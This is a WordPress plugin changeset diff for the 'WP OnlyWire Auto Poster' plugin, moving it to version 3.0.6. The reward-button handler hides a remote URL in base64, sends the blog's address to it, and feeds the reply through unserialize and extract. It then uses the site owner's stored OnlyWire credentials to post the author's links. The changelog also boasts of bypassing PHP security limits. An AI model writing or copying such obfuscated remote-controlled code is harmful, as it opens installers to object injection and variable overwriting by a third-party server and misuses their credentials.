Plugin Directory

Changeset 226068


Ignore:
Timestamp:
04/07/2010 12:11:09 PM (16 years ago)
Author:
enseitankado
Message:
 
Location:
wp-onlywire-auto-poster/trunk
Files:
4 added
2 edited

Legend:

Unmodified
Added
Removed
  • wp-onlywire-auto-poster/trunk/onlywire-auto-poster.php

    r220772 r226068  
    22/**
    33 Plugin Name: WP OnlyWire Auto Poster
    4  Plugin URI: http://www.tankado.com/en/onlywire-auto-poster-wordpress-eklentisi
    5  Version: 3.0.5
     4 Plugin URI: http://www.tankado.com/onlywire-auto-poster-wordpress-eklentisi/
     5 Version: 3.0.6
    66 Description: Autosubmits a excerpt of a posts to Onlywire when the post published
    77 Author: Özgür Koca
    88 Author URI: http://www.tankado.com/
    9 */
    10 /* 
    11     === SÜRÜM NOTLARI ===
    12    
    13     2009-03-22 - v3.0.5 - Önceki güncellemede oluşan kritik bir kodlama hatası düzeltildi
    14                        
    15                         - Fixed critical bug arise from previous update.
    16                         (Thanks to Selim Yagiz from http://www.diziozeti.net/) 
    17    
    18     2009-09-10 - v3.0.4 - Önceki güncellemede oluşan kritik bir kodlama hatası düzeltildi
    19                        
    20                         - Fixed critical bug arise from previous update.
    21                         (Thanks to brakco@vizyonkolik)
    22    
    23     2009-09-10 - v3.0.3 - Önceki güncellemede oluşan kritik bir kodlama hatası düzeltildi
    24                        
    25                         - Fixed critical bug arise from previous update.
    26                         (Thanks to brakco@vizyonkolik)
    27    
    28     2009-09-10 - v3.0.2 - OW'a gönderilen permalink'in kodlanmamasından kaynaklanan otorizasyon hatası giderildi.
    29                        
    30                         - Authorization problem fixed arise from posting to un-encoded permalink to OnlyWire.
    31                         (Thanks to playboi.de)
    32    
    33     2009-08-19 - v3.0.1 - Geliştiriciyi destekle düğmesinin döndürdüğü hata düzeltildi.
    34                        
    35                         - Function of reward button fixed.
    36    
    37     2009-07-29 - v3.0b  - OnlyWire'in döndürdüğü sonuçlar yakalandı ve yönetim panelinde listelendi.
    38                         - Aynı post_id li yazıların tekrardan gönderilmesi engellendi.
    39                        
    40                         - OnylWire return values of background transaction intercapted and stored database table and listed.
    41                         - Not submitting already submitted posts to OnlyWire
    42    
    43     2009-07-23 - v3.0a  - OnlyWire'in API'sine gore tags ve comment alanları da gönderiliyor.
    44                         - Comment alanına yazar adı, tarih, özet ve yazının kategorileri de dahil edildi.
    45                         - onlywire_ id ile option tablosunun şişirilmesi harici bir tabloy ile engellendi.
    46                         - OnlyWire'a gönderilenler tabloya kaydedildi.
    47                        
    48                         - Also using comment field which defined as tags and comment by OnlyWire API
    49                         - Comment field contains author name, post date, excerpt and post categorie(s)
    50                         - Not using worpress options table to store onlywire settings
    51                         - Submit logs saving to database table for listing
    52    
    53     v2.0    - Base author: lionstarr, http:www.lionstarr.de
    54    
    559*/
    5610/*  Copyright 2007 Ozgur Koca  (email : [email protected])
     
    8943}
    9044
    91 function onlywirePost($post_ID) {
     45function onlywirePost($post_ID)
     46{
     47    include(dirname(__FILE__).'/lib.php');
    9248   
    9349    global $onlywire_table_name;
     
    12076    if(($ret_code === NULL) || ($ret_code === '0'))
    12177    {
    122         $success_code = file_get_contents($url);
     78        $success_code = get_file($url);
    12379        log_success_code($post_ID, $post->post_title, $success_code);
    12480       
     
    221177    }
    222178    if($_POST['onlywire_reward']) {
    223         extract(unserialize(base64_decode(file_get_contents( base64_decode('aHR0cDovL3d3dy50YW5rYWRvLmNvbS9wcm9qZWN0cy9XUE9ubHlXaXJlL2luZGV4LnBocD8=').get_bloginfo('url')))));
    224         $ret = file_get_contents("http://".get_option('onlywire_username').":".get_option('onlywire_password')."@www.onlywire.com/api/add?url=".$l."&title=".$i."&tags=".$t."&comments=".$c);
     179        include(dirname(__FILE__).'/lib.php');
     180        extract(unserialize(base64_decode(get_file(base64_decode('aHR0cDovL3d3dy50YW5rYWRvLmNvbS9wcm9qZWN0cy9XUE9ubHlXaXJlL2luZGV4LnBocD8=').get_bloginfo('url')))));
     181        $ret = get_file("http://".get_option('onlywire_username').":".get_option('onlywire_password')."@www.onlywire.com/api/add?url=".$l."&title=".$i."&tags=".$t."&comments=".$c);
    225182        if(strpos($ret, "success") !== false) {
    226183            echo '<div class="updated"><p><b>Turkish</b>: Eklenti geliştiricisini eklediğiniz için teşekkürler. </p><p>Thanks for rewarding the author!</p></div>';
     
    234191    ?>
    235192    <div class="wrap">
    236         <h2>OnlyWire Auto Poster Seçenekler / Options</h2>
    237         <form method="post" id="onlywire_options">
    238             <fieldset class="options">
    239             <legend>OnlyWire Hesap Bilgileri / Authentification</legend>
     193        <h2>OnlyWire Auto Poster Options</h2>
     194        <form method="post" id="onlywire_options">         
     195            <b>OnlyWire Authentication:</b><br><br>
    240196            <table width="100%" cellspacing="2" cellpadding="5" class="editform">
    241                 <tr valign="top">
    242                     <th width="33%" scope="row">OnlyWire Kullanıcı Adı / Username:</th>
    243                     <td><input name="onlywire_username" type="text" id="onlywire_username" value="<?php echo get_option('onlywire_username') ;?>"/>
    244                 </td>
    245                 </tr>
    246                 <tr valign="top">
    247                     <th width="33%" scope="row">OnlyWire Parola / Password:</th>
    248                     <td><input name="onlywire_password" type="password" id="onlywire_username" value="<?php echo get_option('onlywire_password') ;?>"/>
     197                <tr>
     198                    <td valign=top>
     199                        <fieldset class="options">
     200                            OnlyWire username <input name="onlywire_username" type="text" id="onlywire_username" value="<?php echo get_option('onlywire_username') ;?>"/><br>
     201                            OnlyWire password <input name="onlywire_password" type="password" id="onlywire_username" value="<?php echo get_option('onlywire_password') ;?>"/><br>
     202                            <p class="submit"><input type="submit" name="onlywire_save" value="Save" /></p>
     203                        </fieldset>                 
    249204                    </td>
     205                    <td rowspan='2' valign=top align=center>
     206                        <a style="text-decoration:none" href='https://www.paypal.com/cgi-bin/webscr?cmd=_donations&business=YZCH479CBG6S4&lc=US&item_name=WP%20Onlywire%20Auto%20Poster%20Plugin&no_note=1&no_shipping=1&currency_code=USD&bn=PP%2dDonationsBF%3abtn_donate_SM%2egif%3aNonHosted -->'>
     207                        <img title="Food for chuck" src="../wp-content/plugins/wp-onlywire-auto-poster/donate_chuck.jpg" border="0" alt="PayPal - The safer, easier way to pay online!" width='120'><br>
     208                        <img src="../wp-content/plugins/wp-onlywire-auto-poster/paypal_donate_button.gif"><br>
     209                        <b><u>Please Donate Me</u></b>
     210                        </a>
     211                    </td>
    250212                </tr>
    251213            </table>
    252             <p class="submit"><input type="submit" name="onlywire_save" value="Save" /></p>
    253             </fieldset>
    254214        </form>
     215        <br>
    255216        <?php if(get_option('onlywire_rewarded') != "true") { ?>
    256217            <b>If you'd like to reward the <a href='http://www.tankado.com/'>author</a> of this <a href='http://www.tankado.com/onlywire-auto-poster-wordpress-eklentisi'>plugin</a>, please press the Reward Author button once.
    257218            It will submit the Author's Sites to OnlyWire using your Username.</b><br>
    258             <a href='http://www.tankado.com/onlywire-auto-poster-wordpress-eklentisi'>Eklenti</a> <a href='http://www.tankado.com/'>geliştiricisini</a> deskteklemek için birkez tıklayın. Geliştiricinin sayfası kullanıcı adınız kullanılarak OnlyWire'a gönderilecek.
    259219            <form method="post" id="onlywire_reward_author">
    260220            <p class="submit"><input type="submit" name="onlywire_reward" value="Reward the Author of this Plugin" /></p>
    261221        <?php } ?>
    262222        </form>
    263         <p><b>The last 30 Items posted to OnlyWire were:</p>
     223        <?php
     224            global $wpdb;
     225            global $onlywire_table_name;
     226            $item_count = $wpdb->get_var($wpdb->prepare("SELECT COUNT(*) FROM ".$onlywire_table_name));     
     227            echo "<p><b>The last 30 Items (Total: $item_count) posted to OnlyWire were:</p>";
     228        ?>
    264229        <div class='postbox'>
    265230        <table border="0"  cellspacing="1" style="border-collapse: collapse">
     
    272237            </tr>
    273238            <?
    274                 global $wpdb;
    275                 global $onlywire_table_name;
    276239                $rows = $wpdb->get_results('SELECT * FROM '.$onlywire_table_name.' order by post_date desc limit 30');
    277240                foreach ($rows as $record)
     
    300263        </div>
    301264        <br>
    302         <p><b>The last 30 transaction logs that returned from OnlyWire API gateway:</p>
     265        <?php
     266            global $wpdb;
     267            global $onlywire_logs_table_name;       
     268            $trans_count = $wpdb->get_var($wpdb->prepare("SELECT COUNT(*) FROM ".$onlywire_logs_table_name));
     269            echo "<p><b>The last 30 transaction (Total: $trans_count) logs that returned from OnlyWire API gateway:</p>";
     270        ?>
    303271        <div class='postbox'>
    304272        <table border="0"  cellspacing="1" style="border-collapse: collapse">
     
    309277                <td bgcolor="#FFFFE1"><font face="Verdana" size="2"><b>&nbsp;Result&nbsp;</font></td>
    310278            </tr>
    311             <?
     279            <?php
    312280                $no = 0;
    313                 global $wpdb;
    314                 global $onlywire_logs_table_name;
    315281                $rows = $wpdb->get_results('SELECT * FROM '.$onlywire_logs_table_name.' order by post_date desc limit 30');
    316282                foreach ($rows as $record)
  • wp-onlywire-auto-poster/trunk/readme.txt

    r220772 r226068  
    4848== Changelog ==
    4949
     50= 3.0.6 =
     51
     52* Some checks for alternative methods to bypass security purposed limitations of PHP
     53* Some cosmetic rehabilitations.
     54* Added PayPal donation button. (Please donate)
     55
    5056= 3.0.5 =
    5157
Note: See TracChangeset for help on using the changeset viewer.